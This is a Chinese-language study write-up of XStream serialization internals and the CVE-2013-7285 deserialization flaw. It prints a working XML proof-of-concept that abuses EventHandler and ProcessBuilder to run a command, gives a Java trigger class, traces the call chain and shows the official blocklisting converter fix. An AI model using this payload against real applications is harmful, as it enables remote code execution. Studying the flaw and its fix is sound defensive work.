0x01 XStream 基礎

XStream 簡介

XStream 是一個簡單的基于 Java 庫,Java 對象序列化到 XML,反之亦然(即:可以輕易的將 Java 對象和 XML 文檔相互轉換)。

使用 XStream 實現序列化與反序列化

下面看下如何使用 XStream 進行序列化和反序列化操作的。

先定義接口類

IPerson.java

public interface IPerson {  
    void output();  
}

接著定義 Person 類實現前面的接口:

public class Person implements IPerson {  
    String name;  
    int age;  
  
    public void output() {  
        System.out.print("Hello, this is " + this.name + ", age " + this.age);  
    }  
}

XStream 序列化是調用 XStream.toXML() 來實現的:

public class Serialize {  
    public static void main(String[] args) {  
        Person p = new Person();  
        p.age = 6;  
        p.name = "Drunkbaby";  
        XStream xstream = new XStream(new DomDriver());  
        String xml = xstream.toXML(p);  
        System.out.println(xml);  
    }  
}

XStream 反序列化是用過調用 XStream.fromXML() 來實現的,其中獲取 XML 文件內容的方式可以通過 Scanner() 或 FileInputStream 都可以:

Deserialize.java

import com.thoughtworks.xstream.XStream;  
import com.thoughtworks.xstream.io.xml.DomDriver;  
  
import java.io.File;  
import java.io.FileInputStream;  
import java.io.FileNotFoundException;  
import java.util.Scanner;  
  
public class Deserialize {  
    public static void main(String[] args) throws FileNotFoundException {  
//        String xml = new Scanner(new File("person.xml")).useDelimiter("\\Z").next();  
        FileInputStream xml = new FileInputStream("G:\\OneDrive - yapuu\\Java安全學習\\JavaSecurityLearning\\JavaSecurity\\XStream\\XStream\\XStream-Basic\\src\\main\\java\\person.xml");  
        XStream xstream = new XStream(new DomDriver());  
        Person p = (Person) xstream.fromXML(xml);  
        p.output();  
    }  
}

XStream 幾個部分

XStream 類圖,參考XStream 源碼解析

主要分為四個部分:

MarshallingStrategy 編碼策略

  • ? marshall : object->xml 編碼
  • ? unmarshall : xml-> object 解碼

兩個重要的實現類:

  • com.thoughtworks.xstream.core.TreeMarshaller : 樹編組程序
  • ? 調用 Mapper 和 Converter 把 XML 轉化成 Java 對象
其中的 start 方法開始編組

其中調用了 this.convertAnother(item) 方法

convertAnother 方法的作用是把 XML 轉化成 Java 對象。

Mapper 映射器

簡單來說就是通過 mapper 獲取對象對應的類、成員、Field 屬性的 Class 對象,賦值給 XML 的標簽字段。

Converter 轉換器

XStream 為 Java 常見的類型提供了 Converter 轉換器。轉換器注冊中心是 XStream 組成的核心部分。

轉換器的職責是提供一種策略,用于將對象圖中找到的特定類型的對象轉換為 XML 或將 XML 轉換為對象。

簡單地說,就是輸入 XML 后它能識別其中的標簽字段并轉換為相應的對象,反之亦然。

轉換器需要實現 3 個方法,這三個方法分別是來自于 Converter 類以及它的父類 ConverterMatcher

  • ? canConvert 方法:告訴 XStream 對象,它能夠轉換的對象;
  • ? marshal 方法:能夠將對象轉換為 XML 時候的具體操作;
  • ? unmarshal 方法:能夠將 XML 轉換為對象時的具體操作;

具體參考:http://x-stream.github.io/converters.html

這里告訴了我們針對各種對象,XStream 都做了哪些支持。

EventHandler 類

EventHandler 類為動態生成事件偵聽器提供支持,這些偵聽器的方法執行一條涉及傳入事件對象和目標對象的簡單語句。

EventHandler 類是實現了 InvocationHandler 的一個類,設計本意是為交互工具提供 beans,建立從用戶界面到應用程序邏輯的連接。

EventHandler 類定義的代碼如下,其含有 target 和 action 屬性,在 EventHandler.invoke()->EventHandler.invokeInternal()->MethodUtil.invoke() 的函數調用鏈中,會將前面兩個屬性作為類方法和參數繼續反射調用:

public class EventHandler implements InvocationHandler {  
    private Object target;  
    private String action;  
    ...  
      
    public Object invoke(final Object proxy, final Method method, final Object[] arguments) {  
        ...  
                return invokeInternal(proxy, method, arguments);  
        ...  
    }  
      
    private Object invokeInternal(Object proxy, Method method, Object[] arguments) {  
        ...  
              
                Method targetMethod = Statement.getMethod(  
                             target.getClass(), action, argTypes);  
                ...  
                return MethodUtil.invoke(targetMethod, target, newArgs);  
            }  
            ...  
    }  
  
    ...  
}

這里重點看下 EventHandler.invokeInternal() 函數的代碼邏輯,如注釋:

private Object invokeInternal(Object var1, Method var2, Object[] var3) {  
//-------------------------------------part1----------------------------------  
//作用:獲取interface的name,即獲得Comparable,檢查name是否等于以下3個名稱  
        String var4 = var2.getName();  
        if (var2.getDeclaringClass() == Object.class) {  
            if (var4.equals("hashCode")) {  
                return new Integer(System.identityHashCode(var1));  
            }  
  
            if (var4.equals("equals")) {  
                return var1 == var3[0] ? Boolean.TRUE : Boolean.FALSE;  
            }  
  
            if (var4.equals("toString")) {  
                return var1.getClass().getName() + '@' + Integer.toHexString(var1.hashCode());  
            }  
        }  
//-------------------------------------part2----------------------------------  
//貌似獲取了一個class和object  
        if (this.listenerMethodName != null && !this.listenerMethodName.equals(var4)) {  
            return null;  
        } else {  
            Class[] var5 = null;  
            Object[] var6 = null;  
            if (this.eventPropertyName == null) {  
                var6 = new Object[0];  
                var5 = new Class[0];  
            } else {  
                Object var7 = this.applyGetters(var3[0], this.getEventPropertyName());  
                var6 = new Object[]{var7};  
                var5 = new Class[]{var7 == null ? null : var7.getClass()};  
            }  
//------------------------------------------------------------------------------  
            try {  
                int var12 = this.action.lastIndexOf(46);  
                if (var12 != -1) {  
                    this.target = this.applyGetters(this.target, this.action.substring(0, var12));  
                    this.action = this.action.substring(var12 + 1);  
                }  
//--------------------------------------part3----------------------------------------  
//var13獲取了method的名稱, var13=public java.lang.Process java.lang.ProcessBuilder.start() throws java.io.IOException  
                Method var13 = Statement.getMethod(this.target.getClass(), this.action, var5);  
//--------------------------------------------------------------------------  
//判斷var13是否為空,當然不為空啦  
                if (var13 == null) {  
                    var13 = Statement.getMethod(this.target.getClass(), "set" + NameGenerator.capitalize(this.action), var5);  
                }  
  
                if (var13 == null) {  
                    String var9 = var5.length == 0 ? " with no arguments" : " with argument " + var5[0];  
                    throw new RuntimeException("No method called " + this.action + " on " + this.target.getClass() + var9);  
                } else {  
//-------------------------------------part4----------------------------------  
//調用invoke,調用函數,執行命令  
                    return MethodUtil.invoke(var13, this.target, var6);  
                }  
//------------------------------------------------------------------------------  
            } catch (IllegalAccessException var10) {  
                throw new RuntimeException(var10);  
            } catch (InvocationTargetException var11) {  
                Throwable var8 = var11.getTargetException();  
                throw var8 instanceof RuntimeException ? (RuntimeException)var8 : new RuntimeException(var8);  
            }  
        }  
}

有一說一看到這里的時候,就感覺 XStream 可能比較多的會通過動態代理作為 sink

DynamicProxyConverter 動態代理轉換器

DynamicProxyConverter 即動態代理轉換器,是 XStream 支持的一種轉換器,其存在使得 XStream 能夠把 XML 內容反序列化轉換為動態代理類對象:

XStream 反序列化漏洞的 PoC 都是以 DynamicProxyConverter 這個轉換器為基礎來編寫的。

以官網給的例子為例:

<dynamic-proxy>  
  <interface>com.foo.Blahinterface>  
  <interface>com.foo.Woointerface>  
  <handler class="com.foo.MyHandler">  
    <something>blahsomething>  
  handler>  
dynamic-proxy>

dynamic-proxy 標簽在 XStream 反序列化之后會得到一個動態代理類對象,當訪問了該對象的com.foo.Blah 或 com.foo.Woo 這兩個接口類中聲明的方法時(即 interface 標簽內指定的接口類),就會調用 handler 標簽中的類方法 com.foo.MyHandler

0x02 CVE-2013-7285

PoC

<sorted-set>  
  <dynamic-proxy>  
    <interface>java.lang.Comparableinterface>  
    <handler class="java.beans.EventHandler">  
      <target class="java.lang.ProcessBuilder">  
        <command>  
          <string>Calcstring>  
        command>  
      target>  
      <action>startaction>  
    handler>  
  dynamic-proxy>  
sorted-set>

看到 PoC 這里大致是明白了,在之前有一段代碼是讀取每一個 XML 的節點,讀取這些節點之后應該是用動態代理觸發 invoke() 了

觸發代碼

import com.thoughtworks.xstream.XStream;  
import com.thoughtworks.xstream.io.xml.DomDriver;  
  
import java.io.FileInputStream;  
  
// CVE_2013_7285 Exploit  
public class CVE_2013_7285 {  
    public static void main(String[] args) throws Exception{  
        FileInputStream fileInputStream = new FileInputStream("G:\\OneDrive - yapuu\\Java安全學習\\JavaSecurityLearning\\JavaSecurity\\XStream\\XStream\\XStream-Basic\\src\\main\\java\\person.xml");  
        XStream xStream = new XStream(new DomDriver());  
        xStream.fromXML(fileInputStream);  
    }  
}

漏洞原理

XStream 反序列化漏洞的存在是因為 XStream 支持一個名為 DynamicProxyConverter 的轉換器,該轉換器可以將 XML 中 dynamic-proxy 標簽內容轉換成動態代理類對象,而當程序調用了 dynamic-proxy 標簽內的 interface 標簽指向的接口類聲明的方法時,就會通過動態代理機制代理訪問 dynamic-proxy 標簽內 handler 標簽指定的類方法。

利用這個機制,攻擊者可以構造惡意的XML內容,即 dynamic-proxy 標簽內的 handler 標簽指向如 EventHandler 類這種可實現任意函數反射調用的惡意類、interface 標簽指向目標程序必然會調用的接口類方法;最后當攻擊者從外部輸入該惡意 XML 內容后即可觸發反序列化漏洞、達到任意代碼執行的目的。

漏洞分析

下斷點調試一下,這里前面的流程和分析 XStream 流程是類似的,會調用HierarchicalStreams.readClassType() 來獲取到 PoC XML 中根標簽的類類型

后面會跟進到 mapper.realClass() 進行循環遍歷,用來查找 XML 中的根標簽為何類型(前面也都分析過了),接著是調用 convertAnother() 函數對 java.util.SortedSet 類型進行轉換,我們跟進去該函數,其中調用 mapper.defaultImplementationOf() 函數來尋找 java.util.SortedSet 類型的默認實現類型進行替換,這里轉換為了 java.util.TreeSet 類型

接著就是尋找 Convert 的過程,這里尋找到對應的轉換器是 TreeMapConverter 轉換器

往下調試,在 AbstractReferenceUnmarshaller.convert() 函數中看到,會調用 getCurrentReferenceKey() 來獲取當前的 Reference 鍵,并且會將當前的 Reference 鍵壓到棧中,這個 Reference 鍵后續會和保存的類型 —— java.util.TreeSet 類一一對應起來。

接著調用其父類即的 FastStack.convert() 方法,跟進去,顯示將類型壓入棧,然后調用轉換器 TreeSetConverter 的 unmarshal() 方法:

在它第 61 行調用了 treeMapConverter.unmarshalComparator() 方法,這個方法獲取到了第二個 XML 節點元素,這個方法當時漏看了,這個方法還是比較重要的,它獲取到了 xml 根元素的子元素。

跟進之后就變得一目了然了,其中判斷 reader 是否還有子元素

下面的 reader.movedown() 方法做了獲取子元素,并把子元素添加到當前 context 的 pathTracker

往下調試,在 TreeSetConverter.unmarshal() 方法中調用了 this.treeMapConverter.populateTreeMap(),從這個方法開始,XStream 開始處理了 XML 里面其他的節點元素。跟進該函數,先判斷是否是第一個元素,是的話就調用 putCurrentEntryIntoMap()函數,即將當前內容緩存到 Map 中:

跟進去,發現調用 readItem() 方法讀取標簽內的內容并緩存到當前 Map 中

這里再跟進 readItem() 方法,會發現比較有意思的一點是它又調用了 HierarchicalStreams.readClassType() 和 context.convertAnother() 方法,而這里的元素已經變成了第二個元素,也就是 ,這里有點像是遞歸調用

可以跟進去看一下,這里通過查看 mapper 可以知道目前拿去保存在 mapper 當中的還是兩個元素,而 XStream 的處理,則會處理最新的一個(最里層的一個)

經過處理之后返回的 type 就為最新的一個子元素的類型,這里是 com.thoughtworks.xstream.mapper.DynamicProxyMapper$DynamicProxy,對應的轉換器為 DynamicProxyConverter,跟進到其中來看具體處理。

先判斷當前元素是否還有子元素,并獲取該子元素進行后續判斷

根據我們所編寫的 xml,獲取到的子元素為 ,經過判斷 if (elementName.equals("interface")),如果為 true,則將目前  節點的元素獲取到,再獲得轉換類型。

因為仍舊存在子元素,獲取完  后重新進入這個迭代,下一個獲取到的子元素是 。這里程序會判斷是否等于 handler,如果等于 handler,則獲取它標簽所對應的類,并跳出迭代。

往下走,第 125 行調用了 Proxy.newProxyInstance() 方法,這里是動態代理中的,實例化代理類的過程。第 127 行這里,調用 context.convertAnother() 方法,跟進一下。對應的轉換器是 AbstractReflectionConverter,它會先調用 instantiateNewInstance() 方法實例化一個 EventHandler 類

往下,跟進 doUnmarshal() 方法,這里又是一層內部遞歸,從 xml 中可以看到  節點之下還有很多子節點(又看到了熟悉的 hasChildren()

這時我們獲取到的 type 為 class java.lang.ProcessBuilder,跟進 unmarshallField() 方法

后面也都是類似的運行流程了,這里就不再廢話,師傅們可以自行分析一下,是很容易看懂的;XSteam 雖然處理了 xml,且我們也基本明白了基礎運行流程,但是最后漏洞觸發這里還是要關注一下。

將所有的節點過完一遍之后,最終還是會走到 treeMapConverter.populateTreeMap() 這個地方

跟進,直到第 122 行,調用 put.All() 方法,里面的變量為 sortedMap,查看一下它的值可以發現這是一串鏈式存儲的數據

最終是調用到 EventHandler.invoke() 方法調用棧如下,還是比較簡單的

invoke:428, EventHandler (java.beans)
compareTo:-1, $Proxy0 (com.sun.proxy)
compare:1294, TreeMap (java.util)
put:538, TreeMap (java.util)
putAll:281, AbstractMap (java.util)
putAll:327, TreeMap (java.util)
populateTreeMap:122, TreeMapConverter (com.thoughtworks.xstream.converters.collections)

最后成功調用了 java.lang.ProcessBuilder#start 方法,命令執行

0x03 漏洞修復

根據官方的修復手段,這里其實增加了黑名單

Users can register an own converter for dynamic proxies, the java.beans.EventHandler type or for the java.lang.ProcessBuilder type, that also protects against an attack for this special case:

xstream.registerConverter(new Converter() {
  public boolean canConvert(Class type) {
    return type != null && (type == java.beans.EventHandler || type == java.lang.ProcessBuilder || Proxy.isProxy(type));
  }

  public Object unmarshal(HierarchicalStreamReader reader, UnmarshallingContext context) {
    throw new ConversionException("Unsupported type due to security reasons.");
  }

  public void marshal(Object source, HierarchicalStreamWriter writer, MarshallingContext context) {
    throw new ConversionException("Unsupported type due to security reasons.");
  }
}, XStream.PRIORITY_LOW);

0x04 小結

XStream 最基礎的漏洞是 CVE-2013-7285,通過這個漏洞可以很好的先認識 XStream 的基礎運行流程,后續的漏洞挖掘和修復也算是一些《攻防史》,還是比較有意思的